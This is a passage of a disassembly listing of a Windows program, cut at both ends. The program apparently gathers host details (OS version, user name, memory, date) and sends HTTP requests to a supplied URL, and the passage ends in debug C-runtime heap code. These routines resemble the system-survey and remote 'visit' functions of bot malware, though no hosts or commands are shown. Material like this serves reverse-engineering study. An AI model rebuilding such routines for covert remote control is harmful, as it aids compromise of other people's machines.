mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41B9FF ; --------------------------------------------------------------------------- loc_41B98F: ; CODE XREF: sub_41B92C+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B9A1 mov [ebp+var_4], offset a98_0 ; "98" jmp short loc_41B9F6 ; --------------------------------------------------------------------------- loc_41B9A1: ; CODE XREF: sub_41B92C+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B9EF mov [ebp+var_4], offset aMe_1 ; "ME" jmp short loc_41B9F6 ; --------------------------------------------------------------------------- loc_41B9B3: ; CODE XREF: sub_41B92C+33j cmp [ebp+var_C8], 5 jnz short loc_41B9EF cmp [ebp+var_C4], ebx jnz short loc_41B9CD mov [ebp+var_4], offset a2k_0 ; "2K" jmp short loc_41B9F6 ; --------------------------------------------------------------------------- loc_41B9CD: ; CODE XREF: sub_41B92C+96j cmp [ebp+var_C4], 1 jnz short loc_41B9DF mov [ebp+var_4], offset aXp_0 ; "XP" jmp short loc_41B9F6 ; --------------------------------------------------------------------------- loc_41B9DF: ; CODE XREF: sub_41B92C+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B9F6 loc_41B9EF: ; CODE XREF: sub_41B92C+7Cj ; sub_41B92C+8Ej mov [ebp+var_4], offset a???_0 ; "???" loc_41B9F6: ; CODE XREF: sub_41B92C+73j ; sub_41B92C+85j ... cmp [ebp+var_BC], 2 jnz short loc_41BA2E loc_41B9FF: ; CODE XREF: sub_41B92C+61j cmp [ebp+var_B8], bl jz short loc_41BA2E lea eax, [ebp+var_B8] push eax lea eax, [ebp+Dest] push [ebp+var_4] push offset aSS_12 ; "%s (%s)" push eax ; Dest call _sprintf lea eax, [ebp+Dest] add esp, 10h mov [ebp+var_4], eax loc_41BA2E: ; CODE XREF: sub_41B92C+54j ; sub_41B92C+D1j ... mov ax, word_4516A0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4E2FD8 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41BA67 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41BA67: ; CODE XREF: sub_41B92C+12Cj push [ebp+arg_4] call sub_40AF71 pop ecx push eax call dword_4E3138 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4E30B0 ; gethostbyaddr cmp eax, ebx jz short loc_41BA90 push dword ptr [eax] jmp short loc_41BA95 ; --------------------------------------------------------------------------- loc_41BA90: ; CODE XREF: sub_41B92C+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41BA95: ; CODE XREF: sub_41B92C+162j lea eax, [ebp+var_3E4] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+FullPath] pop ecx push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_4F53D8 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_4F53D4 ; GetTimeFormatA push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push eax call ds:dword_4F5468 ; GlobalMemoryStatus push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath lea eax, [ebp+Drive] push eax lea eax, [ebp+var_7E8] push eax call sub_41759B push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41B76F add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AF71 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+FullPath] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_41748B pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_41748B pop ecx pop ecx push eax call sub_41B870 push edx push eax push offset asc_4516D4 ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41B92C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE0 proc near ; CODE XREF: sub_401CC7+278Dp ; sub_401CC7+739Ep Dst = byte ptr -8Ch var_C = byte ptr -0Ch Dest = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch cmp dword_4E31E0, 0 jnz short loc_41BC4C push 0 lea eax, [ebp+Dst] push esi push eax lea eax, [ebp+var_C] push eax call dword_4E2FBC ; InternetGetConnectedStateEx test eax, eax jnz short loc_41BC35 lea eax, [ebp+Dst] push offset aNotConnected ; "Not connected" push eax ; Dest call _sprintf pop ecx pop ecx loc_41BC35: ; CODE XREF: sub_41BBE0+40j test [ebp+var_C], 1 jz short loc_41BC42 push offset aDialUp ; "Dial-up" jmp short loc_41BC47 ; --------------------------------------------------------------------------- loc_41BC42: ; CODE XREF: sub_41BBE0+59j push offset off_4517C8 loc_41BC47: ; CODE XREF: sub_41BBE0+60j lea eax, [ebp+Dest] jmp short loc_41BC67 ; --------------------------------------------------------------------------- loc_41BC4C: ; CODE XREF: sub_41BBE0+28j lea eax, [ebp+Dest] push offset aNA ; "N/A" push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dst] pop ecx push offset aNA_0 ; "N/A" loc_41BC67: ; CODE XREF: sub_41BBE0+6Aj push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AF71 pop ecx push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push eax push offset asc_4517D4 ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41BBE0 endp ; =============== S U B R O U T I N E ======================================= sub_41BCA2 proc near ; CODE XREF: sub_41B870:loc_41B878p ; sub_41B870+1Cp rdtsc retn sub_41BCA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BCA5 proc near ; DATA XREF: sub_401CC7+77BDo var_65C = byte ptr -65Ch var_55C = dword ptr -55Ch var_35C = dword ptr -35Ch Str = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h Dest = byte ptr -1C8h Dst = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h Source = dword ptr -38h Count = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_451818 call _memset push edi ; Size lea eax, [ebp+Dest] push ebx ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+var_C8] push ebx ; Val push eax ; Dst call _memset push 100h ; Size lea eax, [ebp+var_65C] push ebx ; Val push eax ; Dst call _memset push 3Ch lea eax, [ebp+var_48] pop edi push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+Count], esi push eax lea eax, [ebp+Str] push ebx push eax ; Str mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call _strlen pop ecx push eax lea eax, [ebp+Str] push eax call dword_4E2FF4 ; InternetCrackUrlA test eax, eax jz loc_41BE3F cmp [ebp+Count], ebx jbe short loc_41BD7C push [ebp+Count] ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41BD7C: ; CODE XREF: sub_41BCA5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41BD9A push [ebp+var_28] ; Count lea eax, [ebp+Dest] push [ebp+var_2C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41BD9A: ; CODE XREF: sub_41BCA5+DEj cmp [ebp+var_20], ebx jbe short loc_41BDB4 push [ebp+var_20] ; Count lea eax, [ebp+var_C8] push [ebp+var_24] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41BDB4: ; CODE XREF: sub_41BCA5+F8j cmp [ebp+var_18], ebx jbe short loc_41BDCE push [ebp+var_18] ; Count lea eax, [ebp+var_65C] push [ebp+var_1C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41BDCE: ; CODE XREF: sub_41BCA5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push esi push eax push dword_4E30A8 call dword_4E30CC ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41BE57 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4E30C0 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41BE5E push ebx push ebx push ebx push ebx push eax call dword_4E306C ; HttpSendRequestA test eax, eax jz short loc_41BE38 push offset dword_451894 jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE38: ; CODE XREF: sub_41BCA5+18Aj push offset unk_4518B0 jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE3F: ; CODE XREF: sub_41BCA5+B7j lea eax, [ebp+var_55C] push offset asc_45181C ; "-" push eax ; Dest call _sprintf mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41BE71 ; --------------------------------------------------------------------------- loc_41BE57: ; CODE XREF: sub_41BCA5+153j push offset unk_451838 jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE5E: ; CODE XREF: sub_41BCA5+17Bj push offset asc_451864 ; "-" loc_41BE63: ; CODE XREF: sub_41BCA5+191j ; sub_41BCA5+198j ... lea eax, [ebp+var_55C] push eax ; Dest call _sprintf pop ecx pop ecx loc_41BE71: ; CODE XREF: sub_41BCA5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41BE9C push ebx ; int lea eax, [ebp+var_55C] push [ebp+var_1D0] ; int push eax ; int lea eax, [ebp+var_258] push eax ; Str push [ebp+var_35C] ; int call sub_409D34 add esp, 14h loc_41BE9C: ; CODE XREF: sub_41BCA5+1D2j lea eax, [ebp+var_55C] push eax call sub_415C3F pop ecx push esi call dword_4E312C ; InternetCloseHandle push [ebp+var_4] call dword_4E312C ; InternetCloseHandle push [ebp+var_1D8] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41BCA5 endp ; sp-analysis failed ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BE BYTES: COLLAPSED FUNCTION __fclose_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000026 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION __malloc_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005D BYTES: COLLAPSED FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41C17D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000038 BYTES: COLLAPSED CHUNK OF FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000313 BYTES: COLLAPSED FUNCTION __heap_alloc_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000024 BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION __calloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000063 BYTES: COLLAPSED FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41C623. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000511 BYTES: COLLAPSED FUNCTION _realloc_help. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000024 BYTES: COLLAPSED FUNCTION __expand. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000063 BYTES: COLLAPSED FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41CC03. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000013 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41CCE0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000052 BYTES: COLLAPSED FUNCTION __free_dbg. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41CCC2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __free_dbg. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE0 proc near ; CODE XREF: .text:0041CC59p ; __free_dbg+3Cp Dst = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_4518F0 and eax, 4 test eax, eax jz short loc_41CD23 loc_41CCF3: ; CODE XREF: sub_41CCE0+41j call sub_41D430 test eax, eax jnz short loc_41CD1D push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 ; int push 402h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41CD1D int 3 ; Trap to Debugger loc_41CD1D: ; CODE XREF: sub_41CCE0+1Aj ; sub_41CCE0+3Aj xor ecx, ecx test ecx, ecx jnz short loc_41CCF3 loc_41CD23: ; CODE XREF: sub_41CCE0+11j cmp [ebp+arg_0], 0 jnz short loc_41CD2E jmp loc_41D0C5 ; --------------------------------------------------------------------------- loc_41CD2E: ; CODE XREF: sub_41CCE0+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_451CC0 ; Microsoft VisualC 2-8/net runtime add esp, 1Ch test eax, eax jnz short loc_41CD78 loc_41CD4D: ; CODE XREF: sub_41CCE0+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41CD6D int 3 ; Trap to Debugger loc_41CD6D: ; CODE XREF: sub_41CCE0+8Aj xor ecx, ecx test ecx, ecx jnz short loc_41CD4D jmp loc_41D0C5 ; --------------------------------------------------------------------------- loc_41CD78: ; CODE XREF: sub_41CCE0+6Bj ; sub_41CCE0+CDj mov edx, [ebp+arg_0] push edx call sub_41D910 add esp, 4 test eax, eax jnz short loc_41CDA9 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 ; int push 414h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41CDA9 int 3 ; Trap to Debugger loc_41CDA9: ; CODE XREF: sub_41CCE0+A6j ; sub_41CCE0+C6j xor eax, eax test eax, eax jnz short loc_41CD78 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+Dst], ecx loc_41CDB8: ; CODE XREF: sub_41CCE0+12Fj mov edx, [ebp+Dst] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41CE0B mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 1 jz short loc_41CE0B mov edx, [ebp+Dst] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41CE0B mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 3 jz short loc_41CE0B push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 ; int push 41Ah ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41CE0B int 3 ; Trap to Debugger loc_41CE0B: ; CODE XREF: sub_41CCE0+E6j ; sub_41CCE0+EFj ... xor edx, edx test edx, edx jnz short loc_41CDB8 mov eax, dword_4518F0 and eax, 4 test eax, eax jnz loc_41CEE6 push 4 mov cl, byte_4518FC push ecx mov edx, [ebp+Dst] add edx, 1Ch push edx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41CE80 loc_41CE3D: ; CODE XREF: sub_41CCE0+19Ej mov eax, [ebp+Dst] add eax, 20h push eax mov ecx, [ebp+Dst] mov edx, [ecx+18h] push edx mov eax, [ebp+Dst] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_451900[ecx*4] push edx ; char push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 ; int push 0 ; Value push 0 ; int push 1 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41CE7A int 3 ; Trap to Debugger loc_41CE7A: ; CODE XREF: sub_41CCE0+197j xor eax, eax test eax, eax jnz short loc_41CE3D loc_41CE80: ; CODE XREF: sub_41CCE0+15Bj push 4 mov cl, byte_4518FC push ecx mov edx, [ebp+Dst] mov eax, [edx+10h] mov ecx, [ebp+Dst] lea edx, [ecx+eax+20h] push edx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41CEE6 loc_41CEA3: ; CODE XREF: sub_41CCE0+204j mov eax, [ebp+Dst] add eax, 20h push eax mov ecx, [ebp+Dst] mov edx, [ecx+18h] push edx mov eax, [ebp+Dst] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_451900[ecx*4] push edx ; char push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 ; int push 0 ; Value push 0 ; int push 1 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41CEE0 int 3 ; Trap to Debugger loc_41CEE0: ; CODE XREF: sub_41CCE0+1FDj xor eax, eax test eax, eax jnz short loc_41CEA3 loc_41CEE6: ; CODE XREF: sub_41CCE0+13Bj ; sub_41CCE0+1C1j mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 3 jnz short loc_41CF5B loc_41CEEF: ; CODE XREF: sub_41CCE0+249j mov edx, [ebp+Dst] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41CF04 mov eax, [ebp+Dst] cmp dword ptr [eax+18h], 0 jz short loc_41CF25 loc_41CF04: ; CODE XREF: sub_41CCE0+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 ; int push 42Fh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41CF25 int 3 ; Trap to Debugger loc_41CF25: ; CODE XREF: sub_41CCE0+222j ; sub_41CCE0+242j xor ecx, ecx test ecx, ecx jnz short loc_41CEEF mov edx, [ebp+Dst] mov eax, [edx+10h] add eax, 24h push eax ; Size xor ecx, ecx mov cl, byte_4518FD push ecx ; Val mov edx, [ebp+Dst] push edx ; Dst call _memset add esp, 0Ch mov eax, [ebp+Dst] push eax call sub_423F30 add esp, 4 jmp loc_41D0C5 ; --------------------------------------------------------------------------- loc_41CF5B: ; CODE XREF: sub_41CCE0+20Dj mov ecx, [ebp+Dst] cmp dword ptr [ecx+14h], 2 jnz short loc_41CF71 cmp [ebp+arg_4], 1 jnz short loc_41CF71 mov [ebp+arg_4], 2 loc_41CF71: ; CODE XREF: sub_41CCE0+282j ; sub_41CCE0+288j ... mov edx, [ebp+Dst] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41CF9D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 ; int push 43Ch ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41CF9D int 3 ; Trap to Debugger loc_41CF9D: ; CODE XREF: sub_41CCE0+29Aj ; sub_41CCE0+2BAj xor ecx, ecx test ecx, ecx jnz short loc_41CF71 mov edx, [ebp+Dst] mov eax, dword_4F3500 sub eax, [edx+10h] mov dword_4F3500, eax mov ecx, dword_4518F0 and ecx, 2 test ecx, ecx jnz loc_41D09C mov edx, [ebp+Dst] cmp dword ptr [edx], 0 jz short loc_41CFDC mov eax, [ebp+Dst] mov ecx, [eax] mov edx, [ebp+Dst] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41D01A ; --------------------------------------------------------------------------- loc_41CFDC: ; CODE XREF: sub_41CCE0+2EAj ; sub_41CCE0+32Cj mov ecx, dword_4F34F4 cmp ecx, [ebp+Dst] jz short loc_41D008 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 ; int push 44Bh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D008 int 3 ; Trap to Debugger loc_41D008: ; CODE XREF: sub_41CCE0+305j ; sub_41CCE0+325j xor edx, edx test edx, edx jnz short loc_41CFDC mov eax, [ebp+Dst] mov ecx, [eax+4] mov dword_4F34F4, ecx loc_41D01A: ; CODE XREF: sub_41CCE0+2FAj mov edx, [ebp+Dst] cmp dword ptr [edx+4], 0 jz short loc_41D032 mov eax, [ebp+Dst] mov ecx, [eax+4] mov edx, [ebp+Dst] mov eax, [edx] mov [ecx], eax jmp short loc_41D06F ; --------------------------------------------------------------------------- loc_41D032: ; CODE XREF: sub_41CCE0+341j ; sub_41CCE0+382j mov ecx, dword_4F34FC cmp ecx, [ebp+Dst] jz short loc_41D05E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 ; int push 455h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D05E int 3 ; Trap to Debugger loc_41D05E: ; CODE XREF: sub_41CCE0+35Bj ; sub_41CCE0+37Bj xor edx, edx test edx, edx jnz short loc_41D032 mov eax, [ebp+Dst] mov ecx, [eax] mov dword_4F34FC, ecx loc_41D06F: ; CODE XREF: sub_41CCE0+350j mov edx, [ebp+Dst] mov eax, [edx+10h] add eax, 24h push eax ; Size xor ecx, ecx mov cl, byte_4518FD push ecx ; Val mov edx, [ebp+Dst] push edx ; Dst call _memset add esp, 0Ch mov eax, [ebp+Dst] push eax call sub_423F30 add esp, 4 jmp short loc_41D0C5 ; --------------------------------------------------------------------------- loc_41D09C: ; CODE XREF: sub_41CCE0+2DEj mov ecx, [ebp+Dst] mov dword ptr [ecx+14h], 0 mov edx, [ebp+Dst] mov eax, [edx+10h] push eax ; Size xor ecx, ecx mov cl, byte_4518FD push ecx ; Val mov edx, [ebp+Dst] add edx, 20h push edx ; Dst call _memset add esp, 0Ch loc_41D0C5: ; CODE XREF: sub_41CCE0+49j ; sub_41CCE0+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CCE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41D0F0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0F0 proc near ; CODE XREF: .text:0041D0D9p ; __onexit+11p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041D26C SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C928 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi ; char mov eax, dword_4518F0 and eax, 4 test eax, eax jz short loc_41D14F loc_41D11F: ; CODE XREF: sub_41D0F0+5Dj call sub_41D430 test eax, eax jnz short loc_41D149 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 ; int push 49Dh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D149 int 3 ; Trap to Debugger loc_41D149: ; CODE XREF: sub_41D0F0+36j ; sub_41D0F0+56j xor ecx, ecx test ecx, ecx jnz short loc_41D11F loc_41D14F: ; CODE XREF: sub_41D0F0+2Dj push 9 call __lock add esp, 4 mov [ebp+var_4], 0 loc_41D160: ; CODE XREF: sub_41D0F0+A5j mov edx, [ebp+arg_0] push edx call sub_41D910 add esp, 4 test eax, eax jnz short loc_41D191 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 ; int push 4A9h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D191 int 3 ; Trap to Debugger loc_41D191: ; CODE XREF: sub_41D0F0+7Ej ; sub_41D0F0+9Ej xor eax, eax test eax, eax jnz short loc_41D160 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_20], ecx loc_41D1A0: ; CODE XREF: sub_41D0F0+107j mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41D1F3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 1 jz short loc_41D1F3 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41D1F3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41D1F3 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 ; int push 4AFh ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D1F3 int 3 ; Trap to Debugger loc_41D1F3: ; CODE XREF: sub_41D0F0+BEj ; sub_41D0F0+C7j ... xor edx, edx test edx, edx jnz short loc_41D1A0 mov eax, [ebp+var_20] cmp dword ptr [eax+14h], 2 jnz short loc_41D20F cmp [ebp+arg_4], 1 jnz short loc_41D20F mov [ebp+arg_4], 2 loc_41D20F: ; CODE XREF: sub_41D0F0+110j ; sub_41D0F0+116j mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41D24A loc_41D218: ; CODE XREF: sub_41D0F0+158j mov edx, [ebp+var_20] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41D244 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 ; int push 4B6h ; Value push offset aDbgheap_c ; "dbgheap.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41D244 int 3 ; Trap to Debugger loc_41D244: ; CODE XREF: sub_41D0F0+131j ; sub_41D0F0+151j xor ecx, ecx test ecx, ecx jnz short loc_41D218 loc_41D24A: ; CODE XREF: sub_41D0F0+126j mov edx, [ebp+var_20] mov eax, [edx+10h] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41D261 jmp short loc_41D26C sub_41D0F0 endp ; =============== S U B R O U T I N E ======================================= sub_41D261 proc near ; CODE XREF: sub_41D0F0+16Ap ; DATA XREF: .rdata:0043C930o push 9 call __unlock add esp, 4 retn sub_41D261 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D0F0 loc_41D26C: ; CODE XREF: sub_41D0F0+16Fj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop 